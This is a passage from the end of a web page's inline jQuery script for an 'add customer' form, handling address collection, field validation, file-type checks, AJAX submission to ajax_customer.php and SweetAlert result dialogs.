									addr_pincode: pincode,
									state: state,
									addr_state: state,
									is_billing: isBilling
								});
								console.log(`Added address #${addresses.length} to collection`);
							} else {
								console.log("Skipping empty address");
							}
						});
					} else {
						console.log("Shipping address is disabled");
					}
					console.log("Final collected addresses:", addresses);
					return addresses;
				}
				function appendFormData(formData, addresses) {
					formData.append('cname', $('input[name="cname"]').val().trim());
					formData.append('cemail', $('input[name="cemail"]').val().trim());
					formData.append('phone', $('input[name="phone"]').val().trim());
					formData.append('gst', $('input[name="gst"]').val().trim());
					formData.append('has_shipping_address', $('#toggleShippingAddress').is(':checked') ? '1' : '0');
					formData.append('billing_address', $('input[name="billing_address"]').val().trim());
					formData.append('billing_city', $('input[name="billing_city"]').val().trim());
					formData.append('billing_pincode', $('input[name="billing_pincode"]').val().trim());
					formData.append('billing_state', $('select[name="billing_state"]').val());
					formData.append('custype', $('select[name="custype"]').val());
					formData.append('addresses', JSON.stringify(addresses));
					console.log("FormData entries being sent:");
					for (let pair of formData.entries()) {
						console.log(pair[0] + ': ' + pair[1]);
					}
				}
				function submitWithoutFile(form) {
					const formData = new FormData(form);
					const addresses = collectAddresses();
					console.log("Collected addresses for no-file submission:", addresses);
					const hasShippingAddress = $('#toggleShippingAddress').is(':checked') ? '1' : '0';
					formData.set('cname', $('input[name="cname"]').val().trim());
					formData.set('cemail', $('input[name="cemail"]').val().trim());
					formData.set('phone', $('input[name="phone"]').val().trim());
					formData.set('gst', $('input[name="gst"]').val().trim());
					formData.append('custype', $('select[name="custype"]').val());
					formData.set('has_shipping_address', hasShippingAddress);
					formData.set('addresses', JSON.stringify(addresses));
					console.log("Has shipping address:", hasShippingAddress);
					console.log("Addresses:", addresses);
					$.ajax({
						url: 'ajax_customer.php',
						type: 'POST',
						data: formData,
						contentType: false,
						processData: false,
						success: function(response) {
							console.log("AJAX success response:", response);
							handleFormResponse(response);
						},
						error: function(xhr, status, error) {
							console.error("AJAX error:", {
								status: status,
								error: error,
								responseText: xhr.responseText
							});
							handleFormError(xhr, status, error);
						}
					});
				}
				function validateForm() {
					const name = $('input[name="cname"]').val().trim();
					if (!name) {
						showError('Please enter customer name');
						return false;
					}
					const email = $('input[name="cemail"]').val().trim();
					if (email && !isValidEmail(email)) {
						showError('Please enter a valid email address');
						return false;
					}
					const phone = $('input[name="phone"]').val().trim();
					if (!phone) {
						showError('Please enter phone number');
						return false;
					}
					if (!isValidPhone(phone)) {
						showError('Please enter a valid 10-digit phone number');
						return false;
					}
					const gst = $('input[name="gst"]').val().trim();
					if (!gst) {
						showError('Please enter GST number');
						return false;
					}
					return true;
				}
				function validateFile(file, done) {
					const extension = file.name.split('.').pop().toLowerCase();
					
					if (extension !== 'jpg' && extension !== 'jpeg' && extension !== 'pdf') {
						showError('Please select a valid file format (JPG, JPEG, PDF)');
						done("Invalid file format.");
					} else if (file.size > 1 * 1024 * 1024) {
						showError('File size must be less than 1MB');
						done("File too large.");
					} else {
						done();
					}
				}
				function isValidEmail(email) {
					return /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(email);
				}

				function isValidPhone(phone) {
					return /^[6-9]\d{9}$/.test(phone);
				}
				function showError(message) {
					let errorText = "Error";
					
					if (typeof message === 'string') {
						errorText = message;
					} else if (typeof message === 'object') {
						errorText = message.message || "Error occurred.";
					}
					
					Swal.fire({
						text: errorText,
						icon: "error",
						buttonsStyling: false,
						confirmButtonText: "Ok, got it!",
						customClass: {
							confirmButton: "btn btn-primary"
						}
					});
				}
				function handleFormResponse(response) {
					try {
						const result = typeof response === 'string' ? JSON.parse(response) : response;
						if (result.status === 'success') {
							Swal.fire({
								text: "Customer has been successfully added!",
								icon: "success",
								buttonsStyling: false,
								confirmButtonText: "Ok, got it!",
								customClass: {
									confirmButton: "btn btn-primary"
								}
							}).then(function() {
								window.location = 'customer.php';
							});
						} 
						else if(result.status === 'error'){
							Swal.fire({
								text: result.message,
								icon: "error",
								buttonsStyling: false,
								confirmButtonText: "Ok, got it!",
								customClass: {
									confirmButton: "btn btn-primary"
								}
							}).then(function() {
								window.location = 'add-customer.php';
							});
						}
						else {
							Swal.fire({
								text: result.message || "Sorry, something went wrong, please try again.",
								icon: "error",
								buttonsStyling: false,
								confirmButtonText: "Ok, got it!",
								customClass: {
									confirmButton: "btn btn-primary"
								}
							});
						}
					} catch (e) {
						console.error("Error parsing response:", e);
						if (typeof response === 'string' && response.indexOf('<') === 0) {
							console.error("Server returned HTML instead of JSON:", response);
							Swal.fire({
								text: "Server error occurred. Please check server logs for details.",
								icon: "error",
								buttonsStyling: false,
								confirmButtonText: "Ok, got it!",
								customClass: {
									confirmButton: "btn btn-primary"
								}
							});
						} else {
							Swal.fire({
								text: "Sorry, something went wrong, please try again.",
								icon: "error",
								buttonsStyling: false,
								confirmButtonText: "Ok, got it!",
								customClass: {
									confirmButton: "btn btn-primary"
								}
							});
						}
					}
				}
				function handleFormError(xhr, status, error) {
					hideLoadingIndicator();
					console.error("AJAX Error:", xhr.responseText);
					Swal.fire({
						text: "Sorry, something went wrong, please try again.",
						icon: "error",
						buttonsStyling: false,
						confirmButtonText: "Ok, got it!",
						customClass: {
							confirmButton: "btn btn-primary"
						}
					});
				}
				function showLoadingIndicator() {
					const submitButton = document.getElementById('btn-submit');
					submitButton.setAttribute('data-kt-indicator', 'on');
					submitButton.disabled = true;
				}
				function hideLoadingIndicator() {
					const submitButton = document.getElementById('btn-submit');
					submitButton.removeAttribute('data-kt-indicator');
					submitButton.disabled = false;
				}
			});
		</script>
	</body>
	
</html>

MMCT - 2023